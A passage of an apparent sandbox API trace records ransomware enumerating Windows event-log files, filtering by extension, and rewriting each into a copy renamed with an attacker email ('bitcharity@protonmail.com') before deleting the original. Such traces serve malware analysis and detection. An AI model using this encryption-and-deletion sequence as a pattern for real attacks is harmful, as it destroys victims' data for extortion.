(lpString1=".ppt", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.015] lstrlenW (lpString=".zip") returned 4 [0145.015] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".rar") returned 4 [0145.015] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".bz2") returned 4 [0145.015] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.015] lstrlenW (lpString=".7z") returned 3 [0145.015] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.015] lstrlenW (lpString=".dbf") returned 4 [0145.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.016] lstrlenW (lpString=".1cd") returned 4 [0145.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.016] lstrlenW (lpString=".jpg") returned 4 [0145.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.016] lstrlenW (lpString=".doc") returned 4 [0145.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString=".docx") returned 5 [0145.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.016] lstrlenW (lpString=".pdf") returned 4 [0145.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString=".xls") returned 4 [0145.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString=".xlsx") returned 5 [0145.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.016] lstrlenW (lpString=".ppt") returned 4 [0145.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.016] lstrlenW (lpString=".zip") returned 4 [0145.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.016] lstrlenW (lpString=".rar") returned 4 [0145.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.017] lstrlenW (lpString=".bz2") returned 4 [0145.017] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.017] lstrlenW (lpString=".7z") returned 3 [0145.017] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.017] lstrlenW (lpString=".dbf") returned 4 [0145.017] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.017] lstrlenW (lpString=".1cd") returned 4 [0145.017] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0145.017] lstrlenW (lpString=".jpg") returned 4 [0145.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.017] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.017] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0145.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.017] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0145.018] CloseHandle (hObject=0x10a8) returned 1 [0145.018] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0145.018] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.018] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.018] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0145.018] GetLastError () returned 0x0 [0145.018] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.108] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.110] ReadFile (in: hFile=0x10a8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.110] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x130, lpOverlapped=0x0) returned 1 [0145.110] SetEndOfFile (hFile=0x103c) returned 1 [0145.110] CloseHandle (hObject=0x103c) returned 1 [0145.113] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.113] SetEndOfFile (hFile=0x10a8) returned 1 [0145.114] CloseHandle (hObject=0x10a8) returned 1 [0145.114] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.115] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0145.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.115] lstrlenW (lpString=".doc") returned 4 [0145.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.115] lstrlenW (lpString=".docx") returned 5 [0145.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.115] lstrlenW (lpString=".pdf") returned 4 [0145.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.115] lstrlenW (lpString=".xls") returned 4 [0145.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.115] lstrlenW (lpString=".xlsx") returned 5 [0145.115] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.115] lstrlenW (lpString=".ppt") returned 4 [0145.115] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.115] lstrlenW (lpString=".zip") returned 4 [0145.115] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".rar") returned 4 [0145.116] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".bz2") returned 4 [0145.116] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".7z") returned 3 [0145.116] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.116] lstrlenW (lpString=".dbf") returned 4 [0145.116] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.116] lstrlenW (lpString=".1cd") returned 4 [0145.116] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.116] lstrlenW (lpString=".jpg") returned 4 [0145.116] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.116] lstrlenW (lpString=".doc") returned 4 [0145.116] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".docx") returned 5 [0145.116] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.116] lstrlenW (lpString=".pdf") returned 4 [0145.116] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".xls") returned 4 [0145.116] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.116] lstrlenW (lpString=".xlsx") returned 5 [0145.117] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.117] lstrlenW (lpString=".ppt") returned 4 [0145.117] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.117] lstrlenW (lpString=".zip") returned 4 [0145.117] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString=".rar") returned 4 [0145.117] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString=".bz2") returned 4 [0145.117] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString=".7z") returned 3 [0145.117] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.117] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.117] lstrlenW (lpString=".dbf") returned 4 [0145.117] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.117] lstrlenW (lpString=".1cd") returned 4 [0145.117] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.117] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0145.117] lstrlenW (lpString=".jpg") returned 4 [0145.117] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.117] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.117] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0145.118] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.154] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=1118208) returned 1 [0145.154] CloseHandle (hObject=0x10c4) returned 1 [0145.154] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0145.154] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.155] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.155] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.155] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.155] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.156] GetLastError () returned 0x0 [0145.156] ReadFile (in: hFile=0x10c4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0145.250] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0145.346] ReadFile (in: hFile=0x10c4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11010, lpOverlapped=0x0) returned 1 [0145.354] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11020, lpOverlapped=0x0) returned 1 [0145.359] ReadFile (in: hFile=0x10c4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.359] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x134, lpOverlapped=0x0) returned 1 [0145.359] SetEndOfFile (hFile=0x10a8) returned 1 [0145.359] CloseHandle (hObject=0x10a8) returned 1 [0145.850] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.850] SetEndOfFile (hFile=0x10c4) returned 1 [0145.851] CloseHandle (hObject=0x10c4) returned 1 [0145.852] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.852] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0145.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.852] lstrlenW (lpString=".doc") returned 4 [0145.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.852] lstrlenW (lpString=".docx") returned 5 [0145.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.852] lstrlenW (lpString=".pdf") returned 4 [0145.852] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.852] lstrlenW (lpString=".xls") returned 4 [0145.852] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.852] lstrlenW (lpString=".xlsx") returned 5 [0145.852] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.852] lstrlenW (lpString=".ppt") returned 4 [0145.852] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.852] lstrlenW (lpString=".zip") returned 4 [0145.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".rar") returned 4 [0145.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".bz2") returned 4 [0145.853] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".7z") returned 3 [0145.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString=".dbf") returned 4 [0145.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString=".1cd") returned 4 [0145.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString=".jpg") returned 4 [0145.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString=".doc") returned 4 [0145.853] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".docx") returned 5 [0145.853] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.853] lstrlenW (lpString=".pdf") returned 4 [0145.853] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".xls") returned 4 [0145.853] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".xlsx") returned 5 [0145.853] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.853] lstrlenW (lpString=".ppt") returned 4 [0145.853] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.853] lstrlenW (lpString=".zip") returned 4 [0145.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".rar") returned 4 [0145.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.853] lstrlenW (lpString=".bz2") returned 4 [0145.854] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.854] lstrlenW (lpString=".7z") returned 3 [0145.854] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.854] lstrlenW (lpString=".dbf") returned 4 [0145.854] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.854] lstrlenW (lpString=".1cd") returned 4 [0145.854] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0145.854] lstrlenW (lpString=".jpg") returned 4 [0145.854] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.854] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.854] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0145.854] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.855] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0145.855] CloseHandle (hObject=0x10c4) returned 1 [0145.855] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0145.855] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.855] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.855] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.856] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.856] GetLastError () returned 0x0 [0145.856] ReadFile (in: hFile=0x10c4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.943] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.944] ReadFile (in: hFile=0x10c4, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.944] WriteFile (in: hFile=0x10a8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x154, lpOverlapped=0x0) returned 1 [0145.944] SetEndOfFile (hFile=0x10a8) returned 1 [0145.945] CloseHandle (hObject=0x10a8) returned 1 [0145.946] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.946] SetEndOfFile (hFile=0x10c4) returned 1 [0145.947] CloseHandle (hObject=0x10c4) returned 1 [0145.947] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.970] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0145.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.971] lstrlenW (lpString=".doc") returned 4 [0145.971] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".docx") returned 5 [0145.971] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.971] lstrlenW (lpString=".pdf") returned 4 [0145.971] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".xls") returned 4 [0145.971] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".xlsx") returned 5 [0145.971] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.971] lstrlenW (lpString=".ppt") returned 4 [0145.971] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.971] lstrlenW (lpString=".zip") returned 4 [0145.971] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".rar") returned 4 [0145.971] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".bz2") returned 4 [0145.971] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.971] lstrlenW (lpString=".7z") returned 3 [0145.971] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.971] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0145.971] lstrlenW (lpString=".dbf") returned 4 [0145.971] lstrcmpiW (lpString1=".dbf", 